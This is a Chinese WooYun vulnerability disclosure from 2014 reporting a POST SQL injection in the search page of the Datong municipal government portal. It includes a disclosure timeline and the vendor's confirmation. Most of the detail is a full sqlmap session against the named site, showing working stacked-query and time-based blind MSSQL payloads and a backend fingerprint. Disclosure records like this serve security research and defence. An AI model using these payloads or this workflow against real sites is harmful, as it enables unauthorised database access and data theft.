当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068908

漏洞标题:大同市人民政府信息公开网存在SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: Hero

提交时间:2014-07-18 10:28

修复时间:2014-09-01 10:30

公开时间:2014-09-01 10:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-18: 细节已通知厂商并且等待厂商处理中
2014-07-23: 厂商已经确认,细节仅向厂商公开
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

注入。

详细说明:

http://www.dt.gov.cn:8080/search.php
搜索参数未过滤导致Post 注入
抓包后注入

[root@Hacker~]# Sqlmap -r c:/1.txt
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 01:02:13
[01:02:13] [INFO] parsing HTTP request from 'c:/1.txt'
[01:02:13] [WARNING] it appears that you have provided tainted parameter values
('keywords=11'') with most probably leftover chars from manual SQL injection tes
ts (;()') or non-valid numerical value. Please, always use only valid parameter
values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] y
[01:02:16] [INFO] testing connection to the target url
[01:02:16] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
[01:02:16] [INFO] testing if the url is stable, wait a few seconds
[01:02:18] [INFO] url is stable
[01:02:18] [INFO] testing if POST parameter 'keywords' is dynamic
[01:02:18] [WARNING] POST parameter 'keywords' appears to be not dynamic
[01:02:19] [WARNING] reflective value(s) found and filtering out
[01:02:19] [INFO] heuristic test shows that POST parameter 'keywords' might be i
njectable (possible DBMS: Microsoft SQL Server)
[01:02:19] [INFO] testing for SQL injection on POST parameter 'keywords'
[01:02:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:02:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:02:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:02:52] [INFO] POST parameter 'keywords' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[01:02:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:03:13] [INFO] POST parameter 'keywords' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[01:03:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:03:13] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[01:03:14] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[01:03:15] [INFO] target url appears to have 1 columns in query
[01:03:16] [WARNING] if UNION based SQL injection is not detected, please consid
er and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[01:03:16] [INFO] checking if the injection point on POST parameter 'keywords' i
s a false positive
POST parameter 'keywords' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
[01:03:41] [INFO] testing if POST parameter 'types' is dynamic
[01:03:42] [WARNING] POST parameter 'types' appears to be not dynamic
[01:03:42] [INFO] testing for SQL injection on POST parameter 'types'
[01:03:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:03:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:03:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:03:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:03:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:04:01] [WARNING] POST parameter 'types' is not injectable
[01:04:01] [INFO] testing if POST parameter 'code' is dynamic
[01:04:01] [WARNING] POST parameter 'code' appears to be not dynamic
[01:04:01] [INFO] testing for SQL injection on POST parameter 'code'
[01:04:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:04:01] [INFO] heuristics detected web page charset 'GB2312'
[01:04:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:04:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:04:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:04:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:04:05] [WARNING] POST parameter 'code' is not injectable
sqlmap identified the following injection points with a total of 115 HTTP(s) req
uests:
---
Place: POST
Parameter: keywords
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: keywords=11'; WAITFOR DELAY '0:0:5';--&types=1&code=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: keywords=11' WAITFOR DELAY '0:0:5'--&types=1&code=
---
[01:04:05] [INFO] testing Microsoft SQL Server
[01:04:05] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[01:04:15] [INFO] confirming Microsoft SQL Server
[01:04:36] [INFO] adjusting time delay to 2 seconds due to good response times
[01:04:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: Apache 2.2.8, PHP 6.0.0
back-end DBMS: Microsoft SQL Server 2005
[01:04:37] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[01:04:37] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\H-e\SQLMAP~1\Bin\output\www.dt.gov.cn'
[*] shutting down at 01:04:37

漏洞证明:

1.jpg


2.jpg


3.jpg

修复方案:

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-23 08:09

厂商回复:

cnvd确认并复现所述情况,已经转 由cncert下发给山西分中心处置。

最新状态:

暂无